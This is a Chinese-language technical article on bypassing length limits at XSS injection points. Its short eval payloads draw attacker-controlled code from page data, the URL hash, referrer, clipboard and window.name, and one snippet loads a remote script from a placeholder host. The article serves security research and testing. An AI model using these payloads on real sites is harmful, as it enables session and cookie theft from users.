一、綜述
有些XSS漏洞由于字符數(shù)量有限制而沒法有效的利用,只能彈出一個對話框來YY,本文主要討論如何突破字符數(shù)量的限制進行有效的利用,這里對有效利用的定義是可以不受限制執(zhí)行任意JS。對于跨站師們來說,研究極端情況下XSS利用的可能性是一種樂趣;對于產(chǎn)品安全人員來說,不受限制的利用的可能是提供給開發(fā)人員最有力的證據(jù),要求他們重視并修補這些極端情況下的XSS漏洞。
突破的方法有很多種,但是突破的思想基本都一樣,那就是執(zhí)行可以控制的不受限制的數(shù)據(jù)。
二、突破方法
2.1 利用HTML上下文中其他可以控制的數(shù)據(jù)
如果存在XSS漏洞的頁面HTML上下文還有其他可以控制的數(shù)據(jù),那么可以通過JS獲得該數(shù)據(jù)通過eval或者document.write/innerHTML等方式執(zhí)行該數(shù)據(jù),從而達到突破XSS字符數(shù)量限制的目的,下面例子假設div元素的內(nèi)部數(shù)據(jù)可以控制,但是該數(shù)據(jù)已經(jīng)被HTML編碼過:
可控的安全的數(shù)據(jù)
alert(/xss/);
由于XSS點有字符數(shù)量限制,所以這里只能彈框,那么我們可以把XSS的Payload通過escape編碼后作為安全的數(shù)據(jù),輸出到可控的安全數(shù)據(jù)位置,然后在XSS點執(zhí)行可控的安全數(shù)據(jù):
alert%28document.cookie%29%3B
eval(unescape(x.innerHTML));
長度:28 + len(id)
由于x內(nèi)部的數(shù)據(jù)沒有字符數(shù)量的限制,那么從而可以達到執(zhí)行任意JS的目的。
2.2 利用URL中的數(shù)據(jù)
如果頁面里不存在上一節(jié)所說的可控HTML上下文數(shù)據(jù)怎么辦?有些數(shù)據(jù)是我們無條件可控的,第一個想到的就是URL,通過在URL的尾部參數(shù)構(gòu)造要執(zhí)行的代碼,然后在XSS點通過document.URL/location.href等方式獲得代碼數(shù)據(jù)執(zhí)行,這里假設代碼從第80個字符開始到最后:
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
eval(document.URL.substr(80));
長度:30
limited_xss_point>eval(location.href.substr(80));
長度:31
上面兩個例子對比,前一個例子更短,那么有沒有辦法更短呢?通過查閱JavaScript手冊的String的方法可以發(fā)現(xiàn),切割字符串有一個更短的函數(shù)slice,5個字符比substr還要短一個字符:
eval(document.URL.slice(80));
長度:29
eval(location.href.slice(80));
長度:30
那么還有沒有辦法更短呢?答案是YES,查閱一下MSND里的location對象的參考你會發(fā)現(xiàn)有個hash成員,獲取#之后的數(shù)據(jù),那么我們可以把要執(zhí)行的代碼放在#后面,然后通過hash獲得代碼執(zhí)行,由于獲得的數(shù)據(jù)是#開頭的,所以只需要slice一個字符就可以拿到代碼:
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)
eval(location.hash.slice(1));
長度:29
這樣比上面的例子又少了一個字符。那么還可以更短么?
2.3 JS上下文的利用
為什么我如此痛苦?那是因為JS和DHTML的方法名和屬性名太長!瞧瞧這些“糟糕”的名字:
String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...
就連開發(fā)人員也不愿意多寫一次,于是很多站點的前端開發(fā)工程師們封裝了各式各樣的簡化函數(shù),最經(jīng)典的例子就是:
function $(id){return document.getElementById(id);}
這些函數(shù)同樣可以為我們所用,用來縮短我們的Payload的長度。不過上面這個例子不是最短的,IE和FF都支持直接通過ID來引用一個元素。有些函數(shù)可以直接用來加載我們的代碼:
function loads(url) {
...
document.body.appendChild(script);
}
loads('http://xxx.com/x');
長度:len(函數(shù)名) + len(url) + 5
當然你的url則是越短越好哦!有些函數(shù)則會幫我們?nèi)プ鱄TTP請求:
function get(url) {
...
return x.responseText;
}
eval(get('http://xxx.com/x'));
長度:len(函數(shù)名) + len(url) + 11
道哥則提出有些流行的JS的開發(fā)框架也封裝了大量功能強勁的庫可供調(diào)用,比如:
JQuery
YUI
...
綜上所述,我們可以通過分析JS上下文現(xiàn)有的框架、對象、類、函數(shù)來盡可能的縮短我們的代碼,進而突破長度限制執(zhí)行任意代碼。
2.4 利用瀏覽器特性在跨域的頁面之間傳遞數(shù)據(jù)
雖然有同源策略的限制,瀏覽器的功能設計上仍然保留了極少數(shù)的可以跨域傳遞數(shù)據(jù)的方法,我們可以利用這些方法來跨頁面?zhèn)鬟f數(shù)據(jù)到被XSS的域的頁面去執(zhí)行。
2.4.1 document.referrer
攻擊者可以在自己的域上構(gòu)造頁面跳轉(zhuǎn)到被XSS頁面,在自己域上的頁面的url里帶了Payload,被XSS的頁面通過referrer獲取相關代碼執(zhí)行。
攻擊者構(gòu)造的的頁面:
http://www.a.com/attack.html?...&alert(document.cookie)
go
被XSS的頁面:
eval(document.referrer.slice(80));
長度:34
這種方式利用上還有一些問題,如果使用location.href或者 實現(xiàn)的自動跳轉(zhuǎn),在IE里被攻擊頁面拿不到referrer,而FF則可以。QZ建議用表單提交的方式比較好,我測試了下,果然通用,F(xiàn)F/IE都可以成功獲取referrer:
2.4.2 剪切板clipboardData
攻擊者在自己域的頁面上通過clipboardData把Payload寫入剪切板,然后在被XSS頁面獲取并執(zhí)行該數(shù)據(jù)。
攻擊者構(gòu)造的頁面:
被XSS的頁面:
eval(clipboardData.getData("text"));
長度:36
這種方式只適用于IE系列,并且在IE 7及以上版本的瀏覽器會有安全提示。
2.4.3 窗口名window.name
這是一個很少被用到的特性,在研究同源策略時就注意過這個屬性,它是可以跨域傳遞數(shù)據(jù)的,但是這個特性本身并不是漏洞。
如果仔細研究過window.open這個方法,會發(fā)現(xiàn)一個不常用的第二個參數(shù),這個則是設置窗口名,用于指定target窗口,如果不存在的話則創(chuàng)建新的子窗口,并設置子窗口的name。當我想打搜window.open時一陣狂喜,喜的是window.name這個屬性是window對象的成員,那么只需要name就可以引用該屬性,但是測試時卻發(fā)現(xiàn)window.open方法對于第二個參數(shù)進行了嚴格的檢查,只允許數(shù)字字母以及下劃線的組合,禁止特殊字符進入,那么這種方式就沒法寫入JS或者VBS。
但是經(jīng)過測試發(fā)現(xiàn)我們可以通過window.name直接設置當前窗口的name則沒有特殊字符限制,然后直接跳轉(zhuǎn)到被XSS的頁面,通過name屬性傳遞Payload過去執(zhí)行:
攻擊者構(gòu)造的頁面:
被XSS的頁面:
eval(name);
長度:11
這個長度可以說是短到極致了,并且這個方法IE/FF都可以很好的支持,是個非常有意思的技巧,這個技巧的發(fā)現(xiàn)也是促成本文的直接原因。
window.name的特性還有其他一些有趣的應用方式,這個方面的話題以后可以專門寫篇文章來探討。
2.5 以上的方式結(jié)合使用
以上的方式結(jié)合使用,一般情況下會使得長度更長,但是也不排除在某些變態(tài)的過濾情況中,靈活的組合上面的方法可能會起到奇效。
三、后記
JS非常靈活,所以方法肯定不限于這些,在具體的問題的分析和研究中,可以獲得很多的樂趣,并且對JS以及瀏覽器本身有了更深的認識,如果您有巧妙的技巧或者新奇的構(gòu)思,歡迎和我交流!
感謝axis*刺*大風*道哥、rayh4c*QZ*茄子為本文提出的寶貴意見!
本文是純粹的技術(shù)探討,請勿用于非法用途!
四、參考